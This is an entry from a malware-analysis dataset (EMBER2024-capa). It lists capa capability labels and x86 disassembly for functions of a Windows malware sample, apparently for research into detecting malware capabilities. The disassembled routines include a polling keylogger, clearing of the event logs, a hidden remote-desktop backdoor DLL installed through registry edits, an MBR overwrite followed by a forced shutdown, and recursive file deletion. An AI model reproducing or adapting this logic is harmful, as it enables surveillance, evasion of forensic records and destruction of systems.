joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007445
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov dword [ebp - 0x454], ecx
mov eax, dword [ebp + 8]
push eax
push str._s.
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10007491
xor al, al
jmp 0x10007542
movsx ecx, byte [ebp - 0x118]
cmp ecx, 0x2e
je 0x1000750b
mov edx, dword [ebp - 0x144]
and edx, 0x10
test edx, edx
je 0x100074de
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x100892e8
lea edx, [ebp - 0x34c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x34c]
push eax
mov ecx, dword [ebp - 0x454]
call fcn.10007445
jmp 0x1000750b
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x100892f0
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x450]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x144]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10007491
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x10007540
xor al, al
jmp 0x10007542
mov al, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x10007548
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], 0
push 0x104
push 0
mov eax, dword [ebp - 0x20]
add eax, 0x124
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 0x124
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x100075b2
xor eax, eax
jmp 0x10007661
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0xa
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx], 0x88
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 9
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x20]
call fcn.1000f8b3
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x10007a19
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007e6a5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x46c
mov dword [ebp - 0x478], ecx
mov dword [ebp - 0x154], 0
push 0x104
push 0
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp + 8]
movsx eax, byte [edx + eax - 1]
cmp eax, 0x5c
je 0x10007a80
mov dword [ebp - 0x154], 0x100892f8
jmp 0x10007a8a
mov dword [ebp - 0x154], 0x10095044
mov ecx, dword [ebp - 0x154]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s.
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x10007ace
xor al, al
jmp 0x10007bbe
movsx eax, byte [ebp - 0x124]
cmp eax, 0x2e
je 0x10007b99
mov ecx, dword [ebp - 0x150]
and ecx, 0x10
test ecx, ecx
je 0x10007b26
lea edx, [ebp - 0x124]
push edx
mov eax, dword [ebp - 0x154]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x10089304
lea edx, [ebp - 0x35c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x35c]
push eax
mov ecx, dword [ebp - 0x478]
call fcn.10007a19
jmp 0x10007b99
lea ecx, [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x154]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s_s
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x474]
push edx
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp - 0x470]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x470]
push ecx
mov ecx, dword [ebp - 0x478]
add ecx, 0x114
call fcn.10008190
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea edx, [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10007ace
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007ee4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 9
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0xc]
sub eax, 8
mov dword [ebp - 4], eax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov ecx, dword [ebp - 0x34]
add ecx, 0x124
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x28], eax
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xc], 0
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x24], 0x8f
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
push 4
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x23]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1f]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 9
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x34]
call fcn.1000f8b3
mov esp, ebp
pop ebp
ret 8

Function at 0x1000870d
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008766
push 0x10010
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000875c
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esp, ebp
pop ebp
ret
Function at 0x100092b6
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x10095ce8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x3200000
jae 0x1000930b
push 2
push 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x1000933f
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jge 0x1000935d
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movsx edx, byte [ecx]
xor edx, 0x62
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov byte [eax], dl
jmp 0x10009336
push 0
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x100093f3
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x91
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x90
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0x12c], 0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x150], ecx
cmp dword [ebp - 0x150], 8
je 0x10009457
cmp dword [ebp - 0x150], 0xd
je 0x10009474
cmp dword [ebp - 0x150], 0x10
je 0x10009494
jmp 0x10009499
push str._Backspace_
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov dword [ebp - 0x12c], eax
jmp 0x1000952d
mov dword [ebp - 0x12c], 2
push 0x1008b4d4
lea eax, [ebp - 0x24]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x1000952d
jmp 0x1000952d
push 0
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x128]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_ToAscii]
cmp eax, 1
jne 0x100094e1
movsx edx, byte [ebp - 0x28]
push edx
push 0x1008b4d8
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x12c], eax
jmp 0x1000952d
push 0x20
lea ecx, [ebp - 0x14c]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
and eax, 0xffff
and eax, 0xffff
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
test eax, eax
jle 0x1000952d
lea eax, [ebp - 0x14c]
push eax
push str.__s_
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jle 0x10009542
lea edx, [ebp - 0x24]
push edx
call fcn.100092b6
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10009975
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push edi
call fcn.1001c2c1
cmp dword [0x10095090], 0
je 0x100099a3
mov eax, dword [0x10095090]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov dword [0x10095090], 0
cmp dword [0x10095090], 0
jne 0x10009aef
mov byte [ebp - 0xd4], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0xd3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.Hades____d
lea ecx, [ebp - 0xd4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x30
push 0
lea edx, [ebp - 0x34]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x10009548
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x20], eax
push 0x7f01
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x1c], eax
push 0x7f03
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 5
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xc], ecx
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push SysReAllocString
push str.nimabi
lea eax, [ebp - 0xd4]
push eax
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x10095090], eax
cmp dword [0x10095090], 0
je 0x10009aef
mov ecx, dword [0x10095090]
push ecx
call fcn.1000939c
add esp, 4
test eax, eax
je 0x10009aef
push 0
mov edx, dword [0x10095090]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x10095090]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x10009aef
cmp dword [0x10095090], 0
jne 0x10009ad9
jmp 0x10009aef
lea edx, [ebp - 0x54]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x10009aba
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000a115
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push edi
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jne 0x1000a136
xor al, al
jmp 0x1000a265
mov dword [ebp - 0x11c], str.Applicationsiexplore.exe_shellopencommand
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 0x168], 0
push 0x104
push 0
lea ecx, [ebp - 0x118]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x164]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x11c]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000a192
xor al, al
jmp 0x1000a265
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x118]
push edx
push 0
mov eax, dword [ebp - 0x164]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp - 0x164]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x1000a1d1
xor al, al
jmp 0x1000a265
push 0x1008b5b4
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jne 0x1000a1f9
xor al, al
jmp 0x1000a265
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x160], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x15c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x160], 0x44
cmp dword [ebp + 0xc], 0
je 0x1000a23d
mov dword [ebp - 0x158], str.WinSta0Default
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x118]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1000a29c
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
mov dword [ebp - 0x10], 0
jmp 0x1000a2c9
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jae 0x1000a302
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + ecx*4 - 0xc]
push edx
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x1000a2ea
jmp 0x1000a2c0
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
jmp 0x1000a2c0
mov esp, ebp
pop ebp
ret

Function at 0x1000a3b7
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov dword [ebp - 0x9c], 0x9c
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x98], 5
jne 0x1000a3f5
cmp dword [ebp - 0x94], 1
jne 0x1000a3f5
mov dword [ebp - 0xa0], 1
jmp 0x1000a3ff
mov dword [ebp - 0xa0], 0
mov al, byte [ebp - 0xa0]
mov esp, ebp
pop ebp
ret
Function at 0x1000a4f6
Capabilities:
Copy file
Get common file path
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0
push 2
push 0
push 4
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10010a60
add esp, 0x1c
push 0
push 0
push 0x1008b6dc
push 1
push str.KeepRASConnections
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10010a60
add esp, 0x1c
push 0
push 0
push 0
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10010a60
add esp, 0x1c
push 0
push 1
push 0
push 4
push str.EnableConcurrentSessions
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10010a60
add esp, 0x1c
call fcn.1000a3b7
and eax, 0xff
test eax, eax
je 0x1000a673
push 0
push 0
push str._SystemRoot__system32_termsrvhack.dll
push 2
push str.ServiceDll
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10010a60
add esp, 0x1c
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._termsrvhack.dll
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.dllcache_termsrvhack.dll
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1008b870
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x20c], eax
mov edx, dword [ebp - 0x20c]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 7
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.TermService
call fcn.1000870d
add esp, 4
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x1000a686
Capabilities:
Overwrite master boot record (mbr)
Shutdown system
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
mov byte [ebp - 0x20c], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x33
push 0x1008a064
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov byte [ebp - 0xe], 0x55
mov byte [ebp - 0xd], 0xaa
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0x1008b880
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a6f2
or eax, 0xffffffff
jmp 0x1000a7ea
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0
push 0
push 0x90018
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea eax, [ebp - 0x210]
push eax
push 0x200
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0x9001c
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x80000000
jae 0x1000a7d8
lea eax, [ebp - 0x224]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0x21c]
push ecx
push 0x1008b894
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x220], 1
mov dword [ebp - 0x214], 2
push 0
push 0
push 0
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x1000a7e2
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov esp, ebp
pop ebp
ret